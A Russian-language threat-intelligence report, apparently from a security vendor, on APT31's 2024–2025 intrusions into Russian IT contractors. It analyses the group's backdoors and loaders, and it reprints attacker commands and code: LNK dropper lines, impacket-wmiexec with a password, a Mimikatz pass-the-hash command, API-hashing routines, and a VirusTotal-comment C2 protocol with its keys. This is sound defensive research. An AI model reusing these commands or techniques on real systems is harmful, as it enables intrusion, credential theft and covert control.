Авторы:
Даниил Григорян
Старший специалист департамента комплексного реагирования на киберугрозы
Варвара Колоскова
Специалист группы исследования сложных угроз
Даниил Григорян
Старший специалист департамента комплексного реагирования на киберугрозы
Варвара Колоскова
Специалист группы исследования сложных угроз
APT31 — кибершпионская группа, нацеленная в основном на промышленный шпионаж и кражу интеллектуальной собственности. Группа маскирует свои инструменты под легитимное программное обеспечение. Для создания двухстороннего канала связи с ВПО использует легитимные сервисы.
В период с 2024 по 2025 год российский IT-сектор, в особенности компании, работающие как подрядчики и интеграторы решений для государственных органов, столкнулся с серией целевых компьютерных атак. Уникальность этой кампании заключалась в продуманной тактике злоумышленников, которая позволяла им долгое время оставаться необнаруженными. В процессе расследования инцидентов за этот промежуток времени нам удалось связать некоторые атаки с кибершпионской группой APT31, восстановить тактики и техники, используемые злоумышленниками, а также получить уникальные инструменты.
В процессе атаки злоумышленники использовали как сторонние (для перемещения по сети и разведки), так и собственные инструменты, среди которых LocalPlugx, CloudSorcerer, COFFProxy, VtChatter, CloudyLoader, OneDriveDoor и GrewApacha.
Для скрытного управления вредоносным ПО атакующие использовали легитимные веб-сервисы. Они размещали зашифрованные команды и полезные нагрузки в профилях популярных соцсетей, как отечественных, так и зарубежных, а также на других платформах. Это позволяло эффективно обходить традиционные системы безопасности, так как трафик к таким платформам не вызывал подозрений.
Кроме того, злоумышленники продемонстрировали осведомленность о рабочих процессах в целевых организациях. Они тщательно выбирали время для атак, действуя в выходные и праздничные дни. Ярким примером стала масштабная атака, запущенная во время новогодних каникул. Пользуясь тем, что корпоративная инфраструктура продолжала работать, они успели не только проникнуть в системы, но и закрепиться в них, развернуть свои инструменты и провести разведку в корпоративной сети.
Можно предположить, что злоумышленники действовали по заранее составленному сценарию, по которому просто копировали и выполняли команды. В ходе исследования на многих машинах был установлен LocalPlugx с включенным модулем кейлоггера. Анализ данных, собранных кейлоггером, показал, что все выполняемые команды вводились не вручную, а копировались из буфера обмена. Благодаря работе кейлоггера и удалось восстановить команды, которые злоумышленники выполняли в процессе своей активности в скомпрометированной инфраструктуре.
При расследовании инцидента в одной российской IT-компании в июле 2025 года команда PT ESC IR установила, что злоумышленники получили доступ к инфраструктуре еще в конце 2022 года. Последующее развитие атаки началось в новогодние праздники 2023 года.
Другой вариант атаки команда PT ESC TI зафиксировала в декабре 2024 года. В ходе атаки APT31 использовала фишинг с сопроводительным письмом якобы от менеджера по закупкам. К письму прикреплялся вредоносный архив «Требования.rar» с LNK, запускающим документ-приманку и CloudyLoader — загрузчик CobaltStrike. Более подробно атака описана в этой статье.
LNK запускал команды на распаковку и показ файлов-приманок (в данном случае это файлы Company Profile.pdf и List of requirements.pdf), после чего, используя DLL sideloading, запускал вредоносную библиотеку BugSplatRc64.dll с CloudyLoader.
"C:\Windows\System32\cmd.exe" /c echo F |
xcopy /h /y %cd%\Требования\Требования C:\Users\Public\Downloads\
& start %cd%\Требования\
& ren C:\Users\Public\Downloads\Company.pdf nau.exe
& ren C:\Users\Public\Downloads\Requirements.pdf BugSplatRc64.dll
& C:\Users\Public\Downloads\nau.exe
Эту технику APT31 использовала не только в атаках на Россию: в ходе исследования мы обнаружили архив Seguro_de_lMRE.zip, загруженный предположительно из Перу.
Внутри находились вложения со следующей структурой:
LNK Seguro_de_lMRE.pdf.lnk распаковывал все файлы во временную папку, после чего показывал документ-приманку Seguro_de_lMRE.pdf.
/c forfiles /p c:\users /s /m Seguro_de_lMRE.zip /c "cmd /c tar -xf @path -C %TMP%"
&&cmd /c %TMP%\__MACOSX\Seguro_de_lMRE.pdf&&cmd /c %TMP%\__MACOSX\~\~\~\~\~\BsSndRpt64.exe
&&cmd /c attrib +h +r +s +a %TMP%\__MACOSXКоманда LNK Seguro_de_lMRE.pdf.lnk
Сам документ замаскирован под финансовый отчет министерства иностранных дел Перу.

После этого LNK запускал легитимное приложение BsSndRpt64.exe, уязвимое к DLL sideloading. Приложение подгружает уже известную нам библиотеку BugSplatRc64.dll, внутри которой находится загрузчик CloudyLoader.
Для сбора информации о хосте в скомпрометированной инфраструктуре APT31 использовала инструмент SharpADUserIP, разработанный на C# с возможностью выгружать данные о пользователях и IP-адресах из события 4624 файла лога Security.evtx.

Для поиска информации об RDP-подключениях использовался следующий PowerShell-скрипт. С помощью командлета Get-WinEvent осуществляется поиск событий с идентификатором 21 (RDP-вход в систему), из которых собираются данные об именах пользователей и IP-адресе инициатора RDP-подключения.
powershell -Command Get-WinEvent -LogName 'Microsoft-Windows-TerminalServices-LocalSessionManager/Operational' | Where-Object {$_.Id -eq 21} | ForEach-Object { $eventXml = [xml]$_.ToXml(); $username = $eventXml.Event.UserData.EventXML.User; $ipAddress = $eventXml.Event.UserData.EventXML.Address; $loginTime = $_.TimeCreated; if ($username -and $ipAddress -and $loginTime) { Write-Output ('User: ' + $username + ' IP: ' + $ipAddress + ' Login Time: ' + $loginTime) }}
Кроме того, зафиксировано использование следующих вспомогательных инструментов:
Для сетевого сканирования использовался Advanced IP Scanner, который позволяет быстро идентифицировать все устройства в инфраструктуре.
Для закрепления в инфраструктуре злоумышленники использовали планировщик задач Windows с применением техники T1053.005. Использовались имена задач, похожие на задачи от легитимных приложений, к примеру YandexDisk, GoogleUpdater, NVIDIA.
Appvservers
WPDsync
NVIDIADEBUG
WInSeting
Microsoft\Windows\pwrshplugin\exeStart
7zup_Server
Microsoft\Windows\Tcpip\IpConf
Microsoft\Windows\ApplicationData\appuriverifierinstalls
Crashpad_Server
Yandexstart_Server
WinDeviceSync
DataMAVServer
YandexDisk_Servers
LAPSClientUp
GoogleUpdater
GoogleRecovery
PretonDebug
WinDeviceSync1
На некоторых хостах были созданы скрытые задачи. Описание этой техники приведено в блоге Solar 4RAYS. Атакующий создает вредоносную задачу и запускает ее. Далее удаляет свойство SecurityDescriptor (SD) из реестра HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\ и файл задания (.xml) из каталога C:\Windows\System32\Tasks.
Вот пример выполнения команд злоумышленниками из APT31 в скомпрометированной инфраструктуре.

Интересно, что этот вид закрепления характерен для азиатских групп. Кстати, в PT Dumper есть модуль для поиска этой техники закрепления. PT Dumper — утилита на языке Golang, предназначенная для сбора информации (телеметрии) и анализа данных (поиска аномалий) на узлах под управлением Windows, Unix и macOS.
PT Dumper представляет собой скомпилированный бинарный файл с доверенной цифровой подписью, что позволяет стабильно работать и не конфликтовать с другими СЗИ, установленными на исследуемых узлах.
Утилита эффективно показывает себя на проектах по расследованию сложных таргетированных атак и атак с применением вирусов-шифровальщиков, а также позволяет находить новое ВПО.
Запросить PT Dumper можно, написав на почту ir.esc@ptsecurity.com (запросы принимаются с корпоративной почты).
Анализируются три случая: удаление из файловой системы, удаление SD, изменение index.

Еще один интересный метод выполнения полезной нагрузки, который использовали злоумышленники в инфраструктуре, основан на запуске исполняемого файла C:\WINDOWS\system32\oobe\Setup.exe. Это системный исполняемый файл, отвечающий за процесс первоначальной настройки Windows (OOBE, Out Of Box Experience). Он запускается при первом включении нового компьютера или после чистой установки системы, проводя пользователя через этапы создания учетной записи, принятия лицензии и выбора базовых параметров. Если при запуске этого файла произойдет ошибка, то будет запущен CMD-скрипт C:\WINDOWS\Setup\Scripts\ErrorHandler.cmd.
Для запуска ошибки злоумышленники создавали задачу в планировщике Windows с целью запуска файла Setup.exe с аргументом /ui.
<Actions Context="Author">
<Exec>
<Command>C:\Windows\System32\oobe\Setup.exe</Command>
<Arguments>/ui</Arguments>
</Exec>
</Actions>
Запуск этого файла вызывал ошибку, которая должна обрабатываться в CMD-скрипте ErrorHandler.cmd, но в этот файл помещается полезная нагрузка. В примере показано содержимое файла ErrorHandler.cmd.

Для создания зашифрованного туннеля и организации одноранговой (P2P) сети между скомпрометированным хостом и своей инфраструктурой атакующие использовали легитимный инструмент Tailscale VPN. Это позволило им скрытно передавать данные, обходя периметровые средства защиты.
Для туннелирования трафика APT31 также использовала легитимный инструмент Microsoft dev tunnels — исполняемый файл devtunnel.exe, подписанный Microsoft. Данный инструмент использовали в связке с ВПО LocalPlugx, который слушал команды на определенном порту.
Использование этого вида туннелирования дает атакующему следующие преимущества:
Dev tunnels предлагает несколько режимов работы, которые определяют, кто может получить доступ к вашему туннелю:
В скомпрометированной инфраструктуре зафиксирован запуск devtunnel.exe в режиме Public с использованием планировщика задач Windows.
<Actions Context="Author">
<Exec>
<Command>C:\WINDOWS\system32\Devtunnel.exe</Command>
<Arguments>host [REDACTED] -a</Arguments>
</Exec>
</Actions>
Для сокрытия работы на хосте злоумышленники очищали файлы журналов с помощью wevutil.

Удаляли файлы из рабочего каталога следующей командой.

На некоторых скомпрометированных хостах злоумышленники создавали учетную запись локального администратора. Они также использовали эту учетную запись для перемещения между ними.

Для перемещения внутри периметра группа использовала инструменты общедоступной утилиты Impacket: WmiExec, SmbExec, а также утилиту удаленного рабочего стола RDP.
Пример перемещения на скомпрометированный хост с созданной учетной записи локального администратора Administrator$.
impacket-wmiexec Administrator$:'e=lim(1+1/n)'@192.168.22.3
Следующая команда использует утилиту Mimikatz для выполнения атаки Pass-The-Hash (PTH) в сочетании с Restricted Admin Mode для RDP.
sekurlsa::pth /user:radmin /domain:[REDACTED] /ntlm:[REDACTED] "/run:mstsc.exe /restrictedadmin"Для получения учетных данных пользователей скомпрометированного хоста злоумышленники выгружали ветки реестра.

Для получения данных из реестра использовали общедоступную утилиту secretdump.py из набора Impacket.

В ходе расследования инцидента, связанного с этой группой, был обнаружен вредоносный модуль для IIS, предназначенный для кражи учетных данных пользователей Outlook on the web. Модуль OWOWA, установленный на веб-сервер, осуществляет мониторинг HTTP-запросов и ответов на странице авторизации Outlook. При вводе пользователем учетных данных модуль перехватывает и сохраняет логин и пароль в файл.
В нашем случае злоумышленники загрузили OWOWA, уже находясь внутри скомпрометированной инфраструктуры.
В коде присутствует два обработчика событий в ASP.NET/IIS-конвейере. Обработчик context_BeginRequest события BeginRequest перехватывает каждый входящий HTTP-запрос в самом начале. Если в URL-запросе встречается owainfo_log, то обработчик перехватывает запрос и возвращает расшифрованный файл с собранной парольной информацией. Если запрос содержит /owainfo_log/del — удаляет файл с логами. Тем самым злоумышленники оставили себе возможность контролировать собранные данные о логинах и паролях.

Второй обработчик обрабатывает события PreSendRequestContent, перехватывая HTTP-ответ перед его отправкой клиенту. На этом этапе ВПО анализирует форму входа, при наличии полей username и password записывает их содержимое в файл.

Мы фиксировали разные версии этой программы в других инцидентах. Во многих случаях для шифрования файла лога использовался алгоритм RSA, в нашем случае использовался алгоритм шифрования AES (AES-ключ: Io8Mqhw6P6WPPDgCcTHlQ3g6qjWiTwGj, IV: Xy1kAas6muDVK2wK).
В ходе атаки злоумышленники использовали как и известное ранее ВПО, например LocalPlugx, CloudSorcerer, GrewApacha, так и уникальные образцы:
Для загрузки ВПО на скомпрометированные хосты атакующие из APT31 использовали общий сетевой диск в инфраструктуре, с которого копировали инструменты следующей командой:
copy \\[REDACTED]\Distr$\test\*.* C:\ProgramData\Microsoft\[REDACTED]\ /yОдним из самых часто встречаемых вредоносов на скомпрометированных хостах был бэкдор LocalPlugx, содержащий легитимный исполняемый файл, динамическую библиотеку (загрузчик) и зашифрованный файл шеллкода manifest.txt. Для запуска использовалась классическая схема с DLL sideloading.
Файл с динамически подключаемой библиотекой, в которой реализован основной функционал для расшифровки шеллкода, накрыт VMProtect с индивидуальными названиями секций. В некоторых случаях их названия совпадали с именем скомпрометированной организации.

LocalPlugx, в отличие от стандартных вариаций, работает в режиме сервера, преимущественно слушая порты 53 и 5355, хотя возможна и другая конфигурация. Любопытно, что в системе, зараженной этим бэкдором, злоумышленники выполняли команду netsh для слушающего порта PlugX. Тем самым они добавляли в правила файрвола разрешение входящего TCP-соединения на порт 5335.
netsh advfirewall firewall add rule name="MicroDeviceSync" protocol=TCP dir=in localport=5355 action=allowКоманда на открытие локального порта
Кроме того, функционал LocalPlugx разделен на две части:
Функционирование LocalPlugx построено на инъекции кода в различные процессы Windows. В начале работы бэкдор проверяет, в контексте какого приложения он работает. В соответствии с этим он начинает работать либо в первом режиме, либо во втором. Если бэкдор не встроен ни в один процесс, то он встраивает себя в определенные процессы Windows. Две части бэкдора общаются посредством пайпа \\.\PIPE\X<PID>.
В ходе расследований инцидентов мы заметили, что к стандартным для LocalPlugx процеcсам для внедрения winlogon.exe и msiexec.exe добавились wksprt.exe и explorer.exe.
LocalPlugx имеет возможность управлять текущим соединением, туннелировать трафик, а также выполнять команды-плагины. Среди стандартных плагинов наиболее интересным оказался плагин с кейлоггером.
Все описанные выше техники подтверждены командами, вводимыми злоумышленниками, которые удалось получить благодаря работе на скомпрометированных хостах LocalPlugx с включенным модулем кейлоггера.
В процессе своей работы кейлоггер создает два файла:
Для кражи данных, вводимых с клавиатуры, и данных из буфера обмена создается устройство обработки сырого ввода (RawInputDevice). В модуле кейлоггера циклически перенаправлялись все сообщения, а устройство успешно их перехватывало и записывало в соответствующие файлы.

Данные в файлах сохранялись в определенном формате, для данных кейлоггера сохраняется название приложения и окна, куда эти данные вводились.

Сами сообщения зашифровываются операцией с однобайтовым XOR с затиранием старшего бита у байтового представления символа.

Мы благополучно расшифровали файлы с логами. На некоторых хостах в файлах ntuser.dat.LOG2 мы обнаружили команды злоумышленников. Это указывает на то, что все выполняемые команды не вводились вручную, а копировались из буфера обмена. Этот факт позволяет сделать вывод, что злоумышленники действовали по заранее составленному сценарию, по которому просто копировали и выполняли команды.
APT31 по-прежнему активно используют CloudSorcerer — двухмодульный бэкдор, который по устройству аналогичен LocalPlugx. В систему попадает вместе с DLL (запускается методом DLL sideloading и накрыта VMProtect), которая расшифровывает шеллкод 4-байтовым XOR'ом. Тот, в свою очередь, распаковывает сжатый LZNT1 бэкдор и запускает его.
CloudSorcerer содержит модуль сервера и бэкдора, которые общаются посредством пайпа .\\PIPE\\[%d]. Модули работают в пространстве системных процессов Windows, чаще всего использовались следующие процессы:
Модуль сервера не содержит конкретного C2: из открытых источников (например, mail[.]ru) забирается зашифрованное сообщение, расшифровывается Base64 и шифром простой замены.
Расшифрованные данные являются токеном одного из облачных серверов, используемых в качестве С2:
cloud-api.yandex.net
graph.microsoft.com
content.dropboxapi.com
Модуль бэкдора не претерпел сильных изменений, список команд остался прежним.
В рамках атаки злоумышленники доставляли файл с именем time на узлы с Linux. Внутри мы обнаружили бэкдор, который использует библиотеку WolfSSL для коммуникации с C2-сервером. Из-за этой особенности бэкдор получил название AufTime.
AufTime имеет следующий функционал: работа с файлами, поддержка нескольких активных соединений, туннелирование трафика.
В начале выполнения AufTime открывает два раздела shared memory: /shd_mem_SE0v0 и /shd_mem_SE0v0_2.

По состоянию первого раздела ВПО определяет единственность запуска, смотрит, какие процессы подключены к разделяемой памяти: если их больше одного, то завершает выполнение. Если нет, то программу включают в режиме системного демона без перенаправления стандартных потоков.
Следующим этапом AufTime ставит обработку на ряд сигналов, чтобы исключить их выполнение или продолжить работу при ошибке:
Далее бэкдор изменяет собственный argv, добавляя символ 0 и характерную командную строку для подражания системным процессам Linux, к примеру [kworker/5:5-events].

Далее создается новый дочерний процесс. В нем в первую очередь сохраняют значение текущего PID во второй раздел /shd_mem_SE0v0_2. Родительский завершает работу, как только этот процесс перестанет быть доступным.

Вся основная логика работы AufTime реализована в функции do_connection. В этой функции создается TLS-соединение с сервером управления, этому соединению присваивается ID_connection со значением 1 (начальное).

В результате этого создается структура текущего соединения conn_tls.
struct conn_tls {
_QWORD wolfssl_conn;
_DWORD socket;
_DWORD ID_connection;
int current_command;
__attribute__((aligned(8))) _BYTE flag_1_readfromit; // if true - ready to read from server
_BYTE flag_2_commandexec; // if true - ready to read command
_BYTE flag_3_writeinit; // if true - ready to write _QWORD time;
};
Только что созданная структура добавляется в poll-массив всех соединений, серверу отправляется команда 0×10000001 с текущим значением /etc/machine_id — отправка информации о зараженной машине. После этого обрабатывается массив всех соединений.

В функции poll_run, в зависимости от установленных флагов, управляют текущими соединениями:

Интересующие нас команды обрабатывают в функции handle_command, предварительно получив данные от сервера.
Всего AufTime поддерживает около 20 различных команд, их список приведен ниже. Кроме того, в образце есть множество функций, «висящих в воздухе» и не выполняющихся. Например, есть реализация общения с С2 без использования TLS. Вполне вероятно, что инструмент находится в разработке и его функционал будет увеличиваться.
| Number | ID | Description |
|---|---|---|
| 1 | 0×10000001 | Отправка информации о сервере |
| 2 | 0×10000003 | Heartbit |
| 3 | 0×10000004 | Завершение работы |
| 4 | 0×10000010 | Отправка информации о сервере в формате JSON (безопасная версия) |
| 5 | 0×10000021 | Создание reverse-shell и перенаправление управления в /bin/sh, переход в состояние 0×10000024 |
| 6 | 0×10000024 | Запись данных интерпретатору |
| 7 | 0×10000030 | Получить имя папки и отправить ls серверу |
| 8 | 0×10000031 | Получить имя файла и удалить его |
| 9 | 0×10000033 | Получить имя папки и создать ее, вернуть дескриптор |
| 10 | 0×10000040 | Получить команду и выполнить ее при помощи sh -с \<command\>, отправить результаты |
| 11 | 0×10000041 | Прочесть с сервера данные |
| 12 | 0×10000045 | Создать новое SSL-соединение, отправив в ответ только команду 0×10000046 |
| 13 | 0×10000047 | Получить имя файла и отправить его размер на сервер |
| 14 | 0×10000048 | Ответ — отправка файла серверу |
| 15 | 0×10000049 | Получить имя файла, затем узнать размер данных и приписать их в конце, на сервер отправить новый размер |
| 16 | 0×1000004A | Отправить серверу команду 0×1000004B, поставить значение чтения в True |
| 17 | 0×10000051 | Создать SOCKS5-прокси. Возможно подключение по hostname, ipv4, ipv6. Прокси помечается командой 0×10000053, на сервер отправляется команда об успехе 0×10000052. Такое соединение отмечается своим флагом (передается сервером), чтобы отличать от всех остальных |
| 18 | 0×10000053 | Написать полученные от сервера данные в прокси |
| 19 | 0×10000091 | То же, что и 0×10000045 |
| 20 | 0×10000093 | Получить имя файла, отправить на сервер его содержание по указанному смещению c командой 0×10000094 |
| 21 | 0×10000094 | Ответ серверу с содержанием файла |
Отдельно хочется описать команду 0×10000001. В ходе ее выполнения собирается информация о жертве и отправляется в формате JSON со следующей структурой:
{
"hostname" : <gethostname>,
"sys_name" : <uname>,
"node_name" : <uname.nodename>,
"release": <uname.release>,
"username" : <name>,
"lan": <lan_addr>,
"gid" : <getegid()>
}Небольшой бэкдор, использующий в своих нагрузках BOF-формат загрузчика Coffloader. COFFProxy поддерживает команды для туннелирования трафика, работы с файлами и загрузки дополнительных нагрузок (Beacon), созданных при помощи Coffloader, а также имеет возможность повышения привилегий с помощью имперсонации.
Поддерживает три различных С2 (работают методом исключения: если по одному не подключаются, значит, пробуют следующий и т. д.). Поддерживает bind-режим.
Зашифрованный шеллкод расшифровывается dll SSPICLI.dll. Шеллкод инжектит бэкдор в процесс C:\Windows\System32\audiodg.exe.
Конфиг хранится в незашифрованном виде в секции data и занимает 0×400 байт, в сыром виде выглядит так:
struct raw_conf
{
__int16 work_hours[14];
int sleep_delta;
int period;
char ID_client[12];
int bind_port;
int port1;
int port2;
int port3;
__int16 c2_1_len;
__int16 c2_2_len;
__int16 c2_3_len;
char c2_1[c2_1_len];
char c2_2[c2_2_len];
char c2_3[c2_3_len];
};
В процессе работы бэкдор использует более расширенный конфиг, который также содержит версию ВПО. Во всех найденных образцах была версия v12.1.
В начале своей работы проверяет текущее время и день недели: если они не соответствуют часам работы из work_hours для соответствующего дня недели, то бэкдор завершит работу. Любопытно, что образцы не работали только по воскресеньям.

В случае успеха идут попытки подключения по указанным в конфиге доменам или переход в режим прослушивания входящих соединений на определенном порту.

Отправляемые серверу сообщения зашифрованы при помощи AES (ключ указан в конфиге и был одинаковым для всех семплов).
Структура расшифрованных сообщений следующая:
struct msg_header
{
char Id_string[12]; // current connection ID
int command;
_DWORD field_10; // dop command in golang
int error_num;
int vec1_counter;
int vec2_counter;
};
struct msg_params{
vector_str vec_1; // additinal connections id
vector_str vec_2; // command parameters
}
struct msg{
msg_header header;
msg_params params;
}
В сыром сообщении все поля из структуры msg_header передаются напрямую.
Параметры первого и второго типа в сыром сообщении передаются разделенными знаком табуляции \t. Их количество определяют параметры vec1_counter и vec2_counter соответственно. В параметрах первого типа передаются ID соединений, к которым нужно обратиться. Параметры второго типа содержат данные для команд.
Основные команды COFFProxy:
Эти операции выполняются в отдельном thread:
Кроме того, наличие vec_1 указывает на то, что в качестве соединения теперь будет использован прокси, ID которого передается в vec_1. Тут поддерживаются только команды >= 0xB0. Если команда будет меньше, то этот прокси отключат.
Тот же самый бэкдор, но написанный на языке golang и скомпилированный под Linux. Дополнительно накрыт garble. Попадал в систему под именем time. Основное отличие — это замена команды для выполнения BOF. Вместо нее теперь реализован аналог интерпретатора, выполняющий действия в зависимости от дополнительных команд.
Конфигурация файла лишена теперь параметра work_hours, и бэкдор теперь может работать в любое время суток. Остались только ID семпла и конфигурация для общения с сервером.

В Golang-версии не такая четкая структура конфига, каждый параметр тут разделен одиночным символом \t. Интересно также, что версия этого бэкдора теперь L12.1a.
{
char magic[];
_BYTE separator1; // \t
char bind_port[];
_BYTE separator2; // \t
char c2_addr_1[];
_BYTE separator3; // \t
char c2_port_1[];
_BYTE separator4; // \t
char c2_addr_2[];
_BYTE separator5; // \t
char c2_port_2[];
_BYTE separator6; // \t
char c2_addr_3[];
_BYTE separator7; // \t
char c2_port_3[];
_BYTE separator8; // \t
}
Структура сообщений осталась прежней (но адаптирована под Golang), и теперь стали понятны пробелы в сообщениях:
struct msg_header{
_BYTE magic[12];
int command;
int dop_command;
int ret_error;
int param1_size;
int param2_size;
}
struct msg_params{
slice param1; // slice with string array
slice param2; // slice with string array
}
struct msg{
msg_header header;
msg_params params;
}
Список команд немного изменился (команды 0xB1, 0xB2, 0xB4 остались прежними).

Файл ВПО представляет собой динамическую библиотеку NVIDIADEBUG.dll. Запуск VtChatter осуществлялся каждые два часа с помощью планировщика задач Windows.
<Actions Context="Author">
<Exec>
<Command>C:\Windows\system32\rundll32.exe</Command>
<Arguments>C:\ProgramData\NVIDIA\NVIDIADEBUG.dll fun</Arguments>
</Exec>
</Actions>
Исполняемый файл содержит функцию экспорта с именем fun, в которой реализован основной набор функций. Для установления двустороннего C2-канала ВПО использует комментарии к файлу на VirusTotal.
Идентификатор файла (file_id), к которому добавляются комментарии, и токен от учетной записи (x-api-key) VirusTotal зашифрованы алгоритмом RC4 с ключом −032yhns1!-= в теле ВПО.
FileID: adc9bf081e1e9da2fbec962ae11212808e642096a9788159ac0acef879fd31e8
X-API-KEY: [REDACTED]
Интересный момент: VtChatter может выполнять только одну команду от управляющего сервера в процессе своей работы, поэтому злоумышленники запускали его раз в два часа.
Работу исследуемого ВПО можно разделить на следующие этапы:
1. Получение команды. С помощью API VirusTotal осуществляется запрос по URL https://virustotal.com/api/v3/files/adc9bf081e1e9da2fbec962ae11212808e642096a9788159ac0acef879fd31e8/comments. В результате возвращается JSON-ответ, содержащий поля id и text (комментарий к файлу).
GET /api/v3/files/adc9bf081e1e9da2fbec962ae11212808e642096a9788159ac0acef879fd31e8/comments HTTP/1.1
x-apikey: [REDACTED]
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50
Host: www.virustotal.com
Connection: Keep-Alive
Cache-Control: no-cache
2. Расшифровка команды. Поле text JSON-ответа содержит комментарий к файлу, закодированный в Base64. ВПО декодирует данные из формата Base64 и расшифровывает с помощью RC4 с ключом usde-092d.
Результат расшифрованных данных должен содержать:

Рассмотрим пример.
Зашифрованные данные: SJemLS14Qq2KF4cNVkn/cc5v
Base64 → RC4 с ключом usde-092d: bb bb aa aa 06 00 00 00 93 2e cc b0 1d 73 36 6c 2f 7e
Получаем маркер: 0xaaaabbbb, длина зашифрованного сообщения: 6, RC4-ключ: 93 2e cc b0, зашифрованная команда. Расшифровываем команду 1d 73 36 6c 2f 7e алгоритмом RC4 с ключом 93 2e cc b0. В итоге получаем команду whoami.
3. Выполнение команды. Команда выполняется с помощью техники Command Output Redirection via Pipes.
Создание каналов:
CreatePipe(p_hObject_1 + 3, p_hObject_1 + 2, &lpMultiByteStr, 0) // stdin pipe
CreatePipe(p_hObject_1 + 1, p_hObject_1, &lpMultiByteStr, 0) // stdout/stderr pipe
Перенаправление стандартных потоков:
StartupInfo.hStdInput = hStdInput; // stdin from pipe
StartupInfo.hStdOutput = hObject; // stdout to pipe
StartupInfo.hStdError = hObject; // stderr to pipe
После выполнения команды осуществляется чтение созданного Pipe.
4. Отправка команды. После выполнения команды генерируется 4-байтовый ключ RC4, с помощью которого будет зашифрован результат. Результат команды упаковывается в сообщение следующего вида:
Сообщение шифруется с помощью алгоритма RC4 с тем же ключом usde-092d и кодируется в Base64.
Сформированное сообщение добавляется в JSON-формат и публикуется как комментарий к файлу с помощью VirtusTotal API.
По известному токену пользователя к VirusTotal нам удалось получить следующую информацию. Имя пользователя: planningmid, дата регистрации: 15 ноября 2022, последний вход: 5 мая 2023.
"id": "planningmid",
"type": "user",
"links": {
"self": "https://www.virustotal.com/api/v3/users/planningmid"
},
"attributes": {
"collections_count": 0,
"reputation": 1,
"user_since": 1668479246,
"first_name": "mid",
"last_name": "planning",
"certified": false,
"apikey": "",
"mandiant_uuid": "planningmid",
"private": false,
"status": "active",
"preferences": {
"ui": {
"last_read_notification_date": 1683255623
}
},
"email": "planningmid@mail.ru",
"sso_enforced": false,
"last_login": 1683255597,
Кроме того, установлено, что злоумышленник оставлял комментарии к следующим файлам: 90d2d1af406bdca41b14c303e6525dfc65565883bf2d4bf76330aa37db69eceb, f506898cc7c2e092f9eb9fadae7ba50383f5b46a2a4fe5597dbb553a78981268.

Кроме зашифрованных команд whoami, в августе 2025 года был зафиксирован следующий ответ: WYa3PBF4Qq0qdNvTtvcI3Ch/O2Zy2Mvdq2JfMq4Efi4yN3xl+T09mSxYqfwe1uaF7sM4CBJlJbDkEeV9SwbnBgU/BV7PzQ==.
После расшифрования получаем следующие данные:
Маркер: 0xbbbbaaaa Длина зашфированных данных: 58 Ключ RC4: b’334d906e' Результат выполненной команды: windows-ldnd2ke\denise
Вредоносный образец состоит из легитимного файла mskeyptotect.exe (компонента BsSndRpt.exe программного обеспечения BugSplat, которое представляет собой систему сбора и анализа отчетов об ошибках), динамической библиотеки BugSplatRc64.dll и файла try полезной нагрузки. Для загрузки BugSplatRc64.dll используется техника DLL sideloading.
Динамическая библиотека защищена протектором VmProtect версии 3 с включенными антиотладочными проверками. Основная задача вредоносной DLL — расшифровать файл try, создать процесс с именем makecab.exe и внедрить туда расшифрованный шеллкод из файла try.
При попадании в точку входа DLL устанавливает хук на функцию MessageBoxW. При вызове этой функции исполняемый файл mskeyptotect.exe вызывает функцию hook динамически подключаемой библиотеки BugSplatRc64.dll. Эта техника затрудняет обнаружение ВПО в песочнице без основного исполняемого файла.

При начале работы вредоносная DLL создает мьютекс с именем BugRpt_A85.
Все используемые Windows API для работы с файлами, создание мьютекса, создание процесса хешируются с помощью следующего алгоритма.
def CalculateAPIHash(data: bytes):
v3 = 0xFFFFFFFF
for byte in data:
temp1 = (2 * byte) ^ ((2 * byte) ^ (byte >> 1)) & 0x55555555
v4 = temp1 >> 2
v5 = 4 * temp1
temp2 = v5 ^ (v5 ^ v4) & 0x33333333
v6 = ((temp2 >> 4) | (16 * (temp2 & 0xFF0F0F0F))) & 0xFFFFFFFF
v8 = int.from_bytes(v6.to_bytes(4, 'little'), 'big')
for _ in range(8):
if (v3 ^ v8) & 0x80000000:
v3 ^= 0xC520DEC7
v3 = (v3 * 2) & 0xFFFFFFFF
v8 = (v8 * 2) & 0xFFFFFFFF
v9 = (~v3) & 0xFFFFFFFF
v10 = (4 * ((2 * v9) ^ ((2 * v9) ^ (v9 >> 1)) & 0x55555555)) & 0xFFFFFFFF
v11 = (v10 ^ (v10 ^ (((2 * v9) ^ ((2 * v9) ^ (v9 >> 1)) & 0x55555555) >> 2)) & 0x33333333) & 0xffffffff
v11 = ((16 * v11) ^ ((16 * v11) ^ (v11 >> 4)) & 0xF0F0F0F) & 0xffffffff
return int.from_bytes(v11.to_bytes(4, 'little'), 'big')
Примечательно, что после получения адреса целевой функции и ее выполнения ссылка на функцию затирается — возможная мера для усложнения динамического исследования.

Следующим этапом BugSplatRc64.dll читает файл try и расшифровывает его операцией XOR на ключе AB CD 76 A5. Создает процесс с именем makecab.exe в приостановленном режиме.
Для внедрения шеллкода из файла try ВПО использует прямые системные вызову (direct syscalls).
Алгоритм разыменования syscall-функций следующий. Из PEB-структуры получаем адрес ntdll.dll, обходим все функции экспорта, если имя функции начинается с Zw, то рассчитывается ее хеш-значение. После расчета всех хеш-значений функций Zw они складываются в массив в виде пар «хеш-значение, номер системного вызова», который далее сортируется методом пузырька. В итоге получаем отсортированный массив с 464 адресами функций Zw из ntdll.dll.
На рисунке ниже представлен код функции расчета всех функций ComputeZwHash и получения номера syscall-функции.

Алгоритм хеширования имени syscall-функции следующий.
def ComputeZwHash(function_name):
hash_sum = 0xCEC79E15
for i in range(0, len(function_name)):
if i + 1 < len(function_name):
char = (function_name[i + 1] << 8) | function_name[i]
else:
char = function_name[i]
temp = ror(hash_sum, 8,32)
temp = (temp + char) & 0xFFFFFFFF
hash_sum = hash_sum ^ temp
return hash_sum
Для внедрения шеллкода в процесс загрузчик использует технику Remote Thread Injection, для которой вызывает следующие функции:
ZwAllocateVirtualMemory 0xc354d9c7
ZwWriteVirtualMemory 0x46543e95
ZwProtectVirtualMemory 0x3bad717f
ZwResumeThread 0x3e1220a8
ZwOpenThread 0xea9c49f
ZwSuspendThread 0x34a33e15
ZwClose 0xc9a1527
ZwSetContextThread 0x94acca16
ZwGetContextThread 0x286b36e8
После внедрения шеллкода в процесс makecab.exe основной процесс завершает работу, управление передается на шеллкод.
Расшифрованный файл try включает в себя:
